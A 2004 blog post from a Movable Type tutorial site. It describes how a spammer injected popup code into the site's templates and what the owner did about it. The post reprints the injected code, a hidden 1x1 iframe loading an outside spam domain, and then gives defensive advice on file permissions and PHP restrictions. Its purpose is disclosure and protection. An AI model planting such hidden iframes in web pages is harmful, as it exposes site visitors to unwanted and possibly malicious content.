« CGIWrap and suEXEC | Main | Update to "Attacked" »


Updated 12:30 am PST, Oct 4

Wednesday morning, September 29th, Learning Movable Type and some of the other MT weblogs hosted at elise.com were intruded by a spammer who placed popup generating code on the MT index and archive templates. Not being aware of the additional code on my templates, as I rebuilt the pages of my weblogs, the rebuilt pages included this code which generated an obnoxious spam popup window every time someone visited the page. I apologize to all who may have been inconvenienced by this, and thank those of you who brought it to my attention.

The good news is that the spammer could have done a lot of damage to the site, but didn't. The bad news is I'm not sure how it happened or how to prevent it in the future.

Here is the code that was placed on my Index and Archive templates, near the bottom of those templates:

<div style="visibility: hidden; position: absolute; left: 1; top: 1"><iframe src="http://re6.net/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no></iframe></div>

How were they able to do this?

I honestly don't know. I was told by several people to change my database passwords. This has been done. It was also recommended that I uncomment the Umask files in my mt.cfg, since I was running suEXEC which allows for being able to set more restrictive permissions. (See LMT tutorial CGIWrap and suEXEC.)

Here are some of the facts as far I know them.

1. suEXEC is running on my shared server at my web host.

2. At the time of the attack, I did not have the Umask settings uncommented or the HTMLPerm setting uncommented in my mt.cfg file, meaning that files generated by MT would have permissions set to 666.

3. I had "Template linked to file" checked on some of the MT weblogs that were compromised.

4. No other apparent intrusion or damage was made to any other part of my website that is comprised of several MT weblogs and non MT files and directories.

5. My web host supports PHP, and many of my weblog files have php extensions.

6. There is no evidence that the MT application files were compromised, only the database files and resulting output files.

Update Oct 4, 2004

One possible way that this attack could have happened is if someone else on my shared web server used a simple php script to read my database username and password. With this information, he or she could have accessed my MySQL database and made changes to the templates. I have sent a request to my web host to address how they handle PHP security. In particular, I was advised to suggest that my web host start using a PHP directive called "open_basedir" to restrict the files that PHP can open. The information on this directive can be found here: http://www.php.net/manual/en/features.safe-mode.php#ini.open-basedir.

I was also advised to suggest to my web host that they consider running Apache from a "chroot jail". More info about that can be found here: http://security.linux.com/security/04/08/05/203238.shtml and here: http://docs.linux.com/documentation/04/05/24/1450203.shtml.

What to do if this happens to you.

First, contact Six Apart immediately. Get the access logs from your server from about the time, and maybe 24 hours prior to, when you first noticed the attack. Send that information to Six Apart plus details about your MT Installation and server configuration.

Removing the spam code from your templates and rebuilding your weblogs should get rid of the popups.

How to protect yourself from this kind of attack

Make sure you have a back up of your site! (See Backing Up Your Blog.)

If you are on a shared server, make sure that server is running CGIWrap or suEXEC. Follow the steps outlined here regarding the Umask settings on your mt.cfg file.

If you are running CGIWrap or suEXEC, and therefore have the option for additional security that those features allow, it is highly recommended that you set the permissions of your mt.cfg and your mt-db-pass.cgi files to 600. You can only do this if you are NOT doing dynamic publishing. If you are doing dynamic publishing, this setting will give you error messages and your MT install will not work. Also, you must be using CGIWrap or suEXEC to set those permissions to 600. Otherwise, you may lock yourself out of your install.

Check with your webhost to see what measures they are taking to restrict the files that PHP can open. See the measures that were recommended to me above.

Many thanks to Brad Choate from Six Apart for his time, explanations, help with my understanding of server security, his recommendations for protection, and his links for my web host on better php security.